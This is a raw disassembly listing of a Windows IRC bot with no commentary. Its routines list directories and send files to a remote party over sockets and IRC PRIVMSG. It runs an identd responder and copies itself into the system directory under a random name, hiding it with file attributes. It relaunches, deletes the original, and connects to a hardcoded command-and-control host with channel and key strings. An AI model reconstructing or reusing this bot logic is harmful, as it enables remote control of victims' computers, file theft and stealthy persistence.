[ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send push edi call sub_4158E0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_4163D7 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_4163D7 add esp, 0Ch jmp short loc_40703A ; --------------------------------------------------------------------------- loc_407020: ; CODE XREF: sub_406EDE+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_4163D7 add esp, 10h loc_40703A: ; CODE XREF: sub_406EDE+5Aj ; sub_406EDE+140j lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send cmp [ebp+arg_C], ebx jz short loc_4070D2 push [ebp+arg_C] call sub_4158E0 cmp eax, 2 pop ecx jbe short loc_4070D2 push [ebp+arg_C] call sub_4158E0 sub eax, 3 pop ecx jz short loc_407086 loc_40707A: ; CODE XREF: sub_406EDE+1A6j ; DATA XREF: .data:0042A968o ... mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_407086 dec eax jnz short loc_40707A loc_407086: ; CODE XREF: sub_406EDE+19Aj ; sub_406EDE+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_416A10 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_4163D7 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send loc_4070D2: ; CODE XREF: sub_406EDE+17Ej ; sub_406EDE+18Cj lea eax, [ebp+var_388] push eax push edi call ds:dword_495388 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call ds:dword_495384 ; FindNextFileA test eax, eax jz loc_4074C3 mov edi, 1FFh loc_4070FE: ; CODE XREF: sub_406EDE+5DFj cmp [ebp+var_388], ebx jz loc_4074AB lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_416B70 pop ecx test eax, eax pop ecx jz loc_4074AB lea eax, [ebp+var_35C] push offset a__0 ; "." push eax call sub_416B70 pop ecx test eax, eax pop ecx jz loc_4074AB lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call ds:dword_495380 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:dword_49537C ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_407173 mov ecx, offset aAm ; "AM" loc_407173: ; CODE XREF: sub_406EDE+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_40717F sub eax, 0Ch loc_40717F: ; CODE XREF: sub_406EDE+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_416821 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40732C inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_407200 lea eax, [ebp+var_35C] push eax push offset aS_1 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_4163D7 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_4163D7 add esp, 28h jmp loc_40747C ; --------------------------------------------------------------------------- loc_407200: ; CODE XREF: sub_406EDE+2DBj cmp [ebp+arg_C], ebx jz loc_4072EA push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_4163D7 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_1 ; "%s%s/" push edi push eax call sub_4163D7 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send lea eax, [ebp+var_35C] push eax call sub_4158E0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4072A0 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4072A5 ; --------------------------------------------------------------------------- loc_4072A0: ; CODE XREF: sub_406EDE+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4072A5: ; CODE XREF: sub_406EDE+3C0j lea eax, [ebp+var_248] push edi push eax call sub_4163D7 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40746D ; --------------------------------------------------------------------------- loc_4072EA: ; CODE XREF: sub_406EDE+325j lea eax, [ebp+var_35C] push eax push offset aS_1 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_4163D7 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_407317: ; CODE XREF: sub_406EDE+476j lea eax, [ebp+var_248] push esi push eax call sub_4163D7 add esp, 24h jmp loc_40747C ; --------------------------------------------------------------------------- loc_40732C: ; CODE XREF: sub_406EDE+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_407356 push ebx push [ebp+var_368] call sub_401217 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_407317 ; --------------------------------------------------------------------------- loc_407356: ; CODE XREF: sub_406EDE+454j cmp [ebp+arg_C], ebx jz loc_407456 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_4163D7 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s" push edi push eax call sub_4163D7 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send lea eax, [ebp+var_35C] push eax call sub_4158E0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4073F6 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4073FB ; --------------------------------------------------------------------------- loc_4073F6: ; CODE XREF: sub_406EDE+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4073FB: ; CODE XREF: sub_406EDE+516j lea eax, [ebp+var_248] push edi push eax call sub_4163D7 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_4163D7 add esp, 1Ch jmp short loc_40747C ; --------------------------------------------------------------------------- loc_407456: ; CODE XREF: sub_406EDE+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_40746D: ; CODE XREF: sub_406EDE+407j lea eax, [ebp+var_248] push eax call sub_4163D7 add esp, 18h loc_40747C: ; CODE XREF: sub_406EDE+31Dj ; sub_406EDE+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send cmp [ebp+arg_8], ebx jz short loc_4074AB push 7D0h call ds:dword_495324 ; Sleep loc_4074AB: ; CODE XREF: sub_406EDE+226j ; sub_406EDE+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call ds:dword_495384 ; FindNextFileA test eax, eax jnz loc_4070FE loc_4074C3: ; CODE XREF: sub_406EDE+215j push [ebp+arg_0] call ds:dword_495378 ; FindClose cmp [ebp+arg_8], ebx jz short loc_407506 mov eax, [ebp+var_8] cdq push edx push eax call sub_401217 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_401217 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_416821 add esp, 14h jmp short loc_40753A ; --------------------------------------------------------------------------- loc_407506: ; CODE XREF: sub_406EDE+5F1j cmp [ebp+arg_C], ebx jz short loc_407520 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_416821 pop ecx pop ecx jmp short loc_40753A ; --------------------------------------------------------------------------- loc_407520: ; CODE XREF: sub_406EDE+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_416821 add esp, 10h loc_40753A: ; CODE XREF: sub_406EDE+626j ; sub_406EDE+640j lea eax, [ebp+var_248] push ebx push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4916AC ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_406EDE endp ; --------------------------------------------------------------------------- db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407700 proc near ; CODE XREF: sub_401203j var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_495360 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4077B8 push esi push ebx call ds:dword_495370 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_4077B1 loc_407745: ; CODE XREF: sub_407700+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_415CA0 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_407762 mov edi, [ebp+arg_4] loc_407762: ; CODE XREF: sub_407700+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_495390 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call ds:dword_49538C ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4916AC ; send cmp eax, 0FFFFFFFFh jnz short loc_4077AC call dword_4915F0 ; WSAGetLastError cmp eax, 2733h jnz short loc_4077B1 xor eax, eax loc_4077AC: ; CODE XREF: sub_407700+9Bj sub [ebp+arg_4], eax jnz short loc_407745 loc_4077B1: ; CODE XREF: sub_407700+43j ; sub_407700+A8j push ebx call ds:dword_495358 ; CloseHandle loc_4077B8: ; CODE XREF: sub_407700+30j pop edi pop esi pop ebx leave retn sub_407700 endp ; --------------------------------------------------------------------------- db 2Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4077EC proc near ; CODE XREF: sub_40118Bj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_4158E0 test eax, eax pop ecx jbe short loc_407815 loc_4077FF: ; CODE XREF: sub_4077EC+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_407809 mov byte ptr [esi+edi], 2Fh loc_407809: ; CODE XREF: sub_4077EC+17j push edi inc esi call sub_4158E0 cmp esi, eax pop ecx jb short loc_4077FF loc_407815: ; CODE XREF: sub_4077EC+11j mov eax, edi pop edi pop esi retn sub_4077EC endp ; --------------------------------------------------------------------------- db 0Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: .text:00401145j push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp-4A0h] push edi push eax push 101h call dword_4915D4 ; WSAStartup push 6 push 1 push 2 call dword_4916DC ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_415CA0 add esp, 0Ch mov word ptr [ebp-10h], 2 push dword ptr [ebp+1Ch] call dword_49165C ; htons push dword ptr [ebp+18h] mov [ebp-0Eh], ax call sub_4011C2 pop ecx mov [ebp-0Ch], eax lea eax, [ebp-10h] push 10h push eax push ebx call dword_491604 ; connect cmp eax, 0FFFFFFFFh jz short loc_407902 mov eax, [ebp+28h] cmp eax, edi jnz short loc_40789E mov eax, offset byte_4370BC loc_40789E: ; CODE XREF: .text:00407897j push esi mov esi, 100h push dword ptr [ebp+18h] push eax lea eax, [ebp-110h] push dword ptr [ebp+24h] push dword ptr [ebp+20h] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_4163D7 add esp, 1Ch lea eax, [ebp-110h] push edi push eax call sub_4158E0 pop ecx push eax lea eax, [ebp-110h] push eax push ebx call dword_4916AC ; send push esi lea eax, [ebp-110h] push edi push eax call sub_415960 add esp, 0Ch lea eax, [ebp-110h] push edi push esi push eax push ebx call dword_491674 ; recv pop esi loc_407902: ; CODE XREF: .text:00407890j push ebx call dword_4916F4 ; closesocket call dword_4915BC ; WSACleanup lea eax, [ebp-110h] push eax lea eax, [ebp-310h] push eax call sub_416821 cmp [ebp+14h], edi pop ecx pop ecx jnz short loc_407942 push edi lea eax, [ebp-310h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4010D2 add esp, 14h loc_407942: ; CODE XREF: .text:00407927j pop edi pop ebx leave retn ; --------------------------------------------------------------------------- db 48h dup(0CCh) ; --------------------------------------------------------------------------- loc_40798E: ; CODE XREF: sub_401195j push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_415CA0 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_49165C ; htons push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4916DC ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407AEF mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E92C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_491688 ; bind cmp eax, 0FFFFFFFFh jz loc_407AEF push 5 push ebx call dword_491684 ; listen cmp eax, 0FFFFFFFFh jz loc_407AEF mov [ebp-0Ch], edi mov edi, 200h loc_407A19: ; CODE XREF: .text:00407A78j ; .text:00407AD8j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4916F0 ; accept cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_407AEA movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp-238h] push offset unk_42C8D0 push eax call sub_416821 lea eax, [ebp-238h] push eax call sub_401014 add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_491674 ; recv cmp eax, 0FFFFFFFFh jz short loc_407A19 lea eax, [ebp-238h] push esi push eax call sub_4010D7 push 0Ch lea eax, [ebp-38h] push esi push eax call sub_415CA0 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_401343 push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_4163D7 add esp, 34h lea eax, [ebp-238h] push esi push eax call sub_4158E0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4916AC ; send cmp eax, 0FFFFFFFFh jz loc_407A19 mov dword ptr [ebp-8], 1 jmp loc_407A19 ; --------------------------------------------------------------------------- loc_407AEA: ; CODE XREF: .text:00407A2Ej cmp [ebp-8], esi jnz short loc_407B16 loc_407AEF: ; CODE XREF: .text:004079D5j ; .text:004079F9j ... call dword_4915F0 ; WSAGetLastError push eax lea eax, [ebp-238h] push offset unk_42C868 push eax call sub_416821 lea eax, [ebp-238h] push eax call sub_401014 add esp, 10h loc_407B16: ; CODE XREF: .text:00407AEDj push ebx call dword_4916F4 ; closesocket push dword ptr [ebp-4] call dword_4916F4 ; closesocket push dword ptr [ebp+8] call sub_4012A3 pop ecx push esi call ds:dword_495334 ; ExitThread pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 6Ah dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BA3 proc near ; CODE XREF: sub_4012D0j var_99C = dword ptr -99Ch var_98C = byte ptr -98Ch var_888 = byte ptr -888h var_887 = byte ptr -887h var_6F8 = byte ptr -6F8h var_5F8 = byte ptr -5F8h var_4F8 = byte ptr -4F8h var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_1EC = byte ptr -1ECh var_E8 = dword ptr -0E8h var_DC = dword ptr -0DCh var_BC = dword ptr -0BCh var_B8 = word ptr -0B8h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_4], ebx mov [ebp+var_10], ebx mov [ebp+var_C], offset off_4011EA push [ebp+var_C] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_495340 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4834B0, eax call esi ; GetTickCount push eax call sub_416B0E pop ecx call sub_4012F3 push 2 call dword_491708 ; SetErrorMode push 7530h push offset dword_42C954 push ebx push ebx call ds:dword_4953B0 ; CreateMutexA push eax call ds:dword_4953AC ; WaitForSingleObject cmp eax, 102h jnz short loc_407C23 push 1 call ds:dword_495350 ; ExitProcess loc_407C23: ; CODE XREF: sub_407BA3+76j lea eax, [ebp+var_888] push eax push 202h call dword_4915D4 ; WSAStartup cmp eax, ebx mov [ebp+var_C], eax jnz loc_408261 cmp [ebp+var_888], 2 jnz loc_40825B xor eax, eax mov al, [ebp+var_887] cmp al, 2 jnz loc_40825B mov esi, 104h lea eax, [ebp+var_3F4] push esi push eax call ds:dword_495364 ; GetSystemDirectoryA lea eax, [ebp+var_2F0] push esi push eax push ebx call ds:dword_4953A8 ; GetModuleHandleA push eax call ds:dword_495330 ; GetModuleFileNameA lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_5F8] push eax push ebx lea eax, [ebp+var_2F0] push ebx push eax call sub_417900 lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_5F8] push eax push offset aSS_0 ; "%s%s" lea eax, [ebp+var_4F8] push esi push eax call sub_4163D7 lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_2F0] push eax call sub_417760 add esp, 30h test eax, eax jnz loc_407E98 cmp dword_42C934, ebx mov esi, offset aQjmk_exe ; "qjmk.exe" jz short loc_407D1E push esi xor edi, edi call sub_4158E0 sub eax, 4 pop ecx jz short loc_407D1E loc_407CFB: ; CODE XREF: sub_407BA3+179j call sub_416B18 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte ptr aQjmk_exe[edi], dl ; "qjmk.exe" inc edi call sub_4158E0 sub eax, 4 pop ecx cmp edi, eax jb short loc_407CFB loc_407D1E: ; CODE XREF: sub_407BA3+148j ; sub_407BA3+156j lea eax, [ebp+var_3F4] push esi push eax lea eax, [ebp+var_1EC] push offset aSS_2 ; "%s\\%s" push eax call sub_416821 add esp, 10h lea eax, [ebp+var_1EC] push eax call ds:dword_495374 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_407D5E lea eax, [ebp+var_1EC] push 80h push eax call ds:dword_4953A4 ; SetFileAttributesA loc_407D5E: ; CODE XREF: sub_407BA3+1A7j mov esi, ds:dword_4953A0 lea eax, [ebp+var_1EC] push ebx push eax lea eax, [ebp+var_2F0] xor edi, edi push eax loc_407D75: ; CODE XREF: sub_407BA3+209j call esi ; CopyFileA test eax, eax jnz short loc_407DAE call ds:dword_495328 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_407DAE cmp eax, 20h jz short loc_407D8F cmp eax, 5 jnz short loc_407DAE loc_407D8F: ; CODE XREF: sub_407BA3+1E5j push 1 pop edi push 3A98h call ds:dword_495324 ; Sleep lea eax, [ebp+var_1EC] push ebx push eax lea eax, [ebp+var_2F0] push eax jmp short loc_407D75 ; --------------------------------------------------------------------------- loc_407DAE: ; CODE XREF: sub_407BA3+1D6j ; sub_407BA3+1E0j ... lea eax, [ebp+var_1EC] push eax call sub_401320 pop ecx lea eax, [ebp+var_1EC] push 7 push eax call ds:dword_4953A4 ; SetFileAttributesA push 10h lea eax, [ebp+var_24] push ebx push eax call sub_415CA0 push 44h lea eax, [ebp+var_E8] pop esi push esi push ebx push eax call sub_415CA0 add esp, 18h mov [ebp+var_E8], esi mov [ebp+var_DC], offset byte_4370BC mov [ebp+var_B8], bx push 1 pop esi mov [ebp+var_BC], esi call ds:dword_49539C ; GetCurrentProcessId push eax push esi push 100000h call ds:dword_495398 ; OpenProcess lea ecx, [ebp+var_2F0] push ecx push eax lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_98C] push offset aSDS ; "%s %d \"%s\"" push eax call sub_416821 add esp, 14h lea eax, [ebp+var_24] push eax lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_3F4] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_98C] push ebx push eax lea eax, [ebp+var_1EC] push eax call ds:dword_495354 ; CreateProcessA test eax, eax jz short loc_407E98 push 0C8h call ds:dword_495324 ; Sleep push [ebp+var_24] mov esi, ds:dword_495358 call esi ; CloseHandle push [ebp+var_20] call esi ; CloseHandle call dword_4915BC ; WSACleanup push ebx call ds:dword_495350 ; ExitProcess loc_407E98: ; CODE XREF: sub_407BA3+137j ; sub_407BA3+2CBj cmp dword_492810, 2 jle short loc_407EE4 mov eax, dword_492814 push dword ptr [eax+4] call sub_416CCF pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_4953AC ; WaitForSingleObject push esi call ds:dword_495358 ; CloseHandle mov eax, dword_492814 cmp [eax+8], ebx jz short loc_407EE4 push 7D0h call ds:dword_495324 ; Sleep mov eax, dword_492814 push dword ptr [eax+8] call ds:dword_495394 ; DeleteFileA loc_407EE4: ; CODE XREF: sub_407BA3+2FCj ; sub_407BA3+326j cmp dword_42C938, ebx jz short loc_407F01 cmp dword_49172C, ebx jnz short loc_407F01 lea eax, [ebp+var_4F8] push eax call sub_4012FD pop ecx loc_407F01: ; CODE XREF: sub_407BA3+347j ; sub_407BA3+34Fj lea eax, [ebp+var_A4] push offset dword_42D3CC push eax call sub_416821 push ebx lea eax, [ebp+var_A4] push ebx push eax call sub_40105F lea eax, [ebp+var_A4] push eax call sub_401014 push 0B80h push ebx push offset dword_43DBA0 call sub_415CA0 lea eax, [ebp+var_A4] push offset unk_42D398 push eax call sub_416821 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_40105F add esp, 38h mov edi, eax mov esi, ds:dword_49532C lea eax, [ebp+var_4] push eax push ebx push ebx push offset sub_401357 push ebx push ebx call esi ; CreateThread imul edi, 234h cmp eax, ebx mov dword_43E934[edi], eax jnz short loc_407FA1 call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A4] push offset unk_42D340 push eax call sub_416821 add esp, 0Ch loc_407FA1: ; CODE XREF: sub_407BA3+3E1j lea eax, [ebp+var_A4] push eax call sub_401014 lea eax, [ebp+var_A4] mov [esp+99Ch+var_99C], offset unk_42D300 push eax call sub_416821 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_40105F add esp, 14h mov edi, eax lea eax, [ebp+var_4] push eax push ebx push ebx push offset sub_401276 push ebx push ebx call esi ; CreateThread imul edi, 234h cmp eax, ebx mov dword_43E934[edi], eax jnz short loc_40800E call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A4] push offset unk_42D2AC push eax call sub_416821 add esp, 0Ch loc_40800E: ; CODE XREF: sub_407BA3+44Ej lea eax, [ebp+var_A4] push eax call sub_401014 lea eax, [ebp+var_A4] mov [esp+99Ch+var_99C], offset unk_42D270 push eax call sub_416821 push ebx lea eax, [ebp+var_A4] push 1 push eax call sub_40105F add esp, 14h mov edi, eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_4F8] push ebx push eax push offset sub_401019 push ebx push ebx call esi ; CreateThread imul edi, 234h cmp eax, ebx mov dword_43E934[edi], eax jnz short loc_408081 call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A4] push offset unk_42D21C push eax call sub_416821 add esp, 0Ch loc_408081: ; CODE XREF: sub_407BA3+4C1j lea eax, [ebp+var_A4] push eax call sub_401014 push 2 call sub_4010E6 pop ecx test eax, eax pop ecx jnz short loc_408106 lea eax, [ebp+var_A4] push offset unk_42D1DC push eax call sub_416821 push ebx lea eax, [ebp+var_A4] push 2 push eax call sub_40105F add esp, 14h mov edi, eax lea eax, [ebp+var_4] push eax push ebx push edi push offset sub_401195 push ebx push ebx call esi ; CreateThread imul edi, 234h cmp eax, ebx mov dword_43E934[edi], eax jnz short loc_4080F9 call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A4] push offset unk_42D190 push eax call sub_416821 add esp, 0Ch loc_4080F9: ; CODE XREF: sub_407BA3+539j lea eax, [ebp+var_A4] push eax call sub_401014 pop ecx loc_408106: ; CODE XREF: sub_407BA3+4F5j call sub_416B18 push 7Fh and eax, 3 push offset aS1_ascnet_biz ; "s1.ascnet.biz" push offset dword_4834BC mov dword_483634, eax call sub_416A10 mov eax, dword_42C918 push 3Fh mov edi, offset dword_48353C push offset asc_42C978 ; "##x" push edi mov dword_48360C, eax call sub_416A10 push 3Fh mov esi, offset dword_48357C push offset aG1g ; "g1g" push esi call sub_416A10 add esp, 24h mov dword_483610, ebx loc_40815B: ; CODE XREF: sub_407BA3+65Ej ; sub_407BA3+669j ... mov [ebp+var_8], ebx loc_40815E: ; CODE XREF: sub_407BA3+612j cmp dword_491744, ebx jnz short loc_40817C lea eax, [ebp+var_14] push ebx push eax call dword_4915A0 ; InternetGetConnectedState test eax, eax jnz short loc_40817C push 7530h jmp short loc_4081A8 ; --------------------------------------------------------------------------- loc_40817C: ; CODE XREF: sub_407BA3+5C1j ; sub_407BA3+5D0j push offset dword_4834B8 mov dword_483630, ebx call sub_4010FF cmp eax, 2 mov [ebp+var_C], eax jz loc_408256 cmp dword_483630, ebx jz short loc_4081A3 dec [ebp+var_8] loc_4081A3: ; CODE XREF: sub_407BA3+5FBj push 0BB8h loc_4081A8: ; CODE XREF: sub_407BA3+5D7j call ds:dword_495324 ; Sleep inc [ebp+var_8] cmp [ebp+var_8], 6 jl short loc_40815E cmp [ebp+var_C], 2 jz loc_408256 cmp [ebp+var_10], ebx jz short loc_408206 push 7Fh push offset aS1_ascnet_biz ; "s1.ascnet.biz" push offset dword_4834BC call sub_416A10 mov eax, dword_42C918 push 3Fh push offset asc_42C978 ; "##x" push edi mov dword_48360C, eax call sub_416A10 push 3Fh push offset aG1g ; "g1g" push esi call sub_416A10 add esp, 24h mov [ebp+var_10], ebx jmp loc_40815B ; --------------------------------------------------------------------------- loc_408206: ; CODE XREF: sub_407BA3+621j cmp byte_48362C, bl jz loc_40815B push 7Fh push offset byte_48362C push offset dword_4834BC call sub_416A10 mov eax, dword_42C91C push 3Fh push offset aGig ; "##gig##" push edi mov dword_48360C, eax call sub_416A10 push 3Fh push offset aKeyzzz ; "keyzzz" push esi call sub_416A10 add esp, 24h mov [ebp+var_10], 1 jmp loc_40815B ; --------------------------------------------------------------------------- loc_408256: ; CODE XREF: sub_407BA3+5EFj ; sub_407BA3+618j call sub_401109 loc_40825B: ; CODE XREF: sub_407BA3+A4j ; sub_407BA3+B4j call dword_4915BC ; WSACleanup loc_408261: ; CODE XREF: sub_407BA3+97j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_407BA3 endp ; --------------------------------------------------------------------------- db 1B1h 